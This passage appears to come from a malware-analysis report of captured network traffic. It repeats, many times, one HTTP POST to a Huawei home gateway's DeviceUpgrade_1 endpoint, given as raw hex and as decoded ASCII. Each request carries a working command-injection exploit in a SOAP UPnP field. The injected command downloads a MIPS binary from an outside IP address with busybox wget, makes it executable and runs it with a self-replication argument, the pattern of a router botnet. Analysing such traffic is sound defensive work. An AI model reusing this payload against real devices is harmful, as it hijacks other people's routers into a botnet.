6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 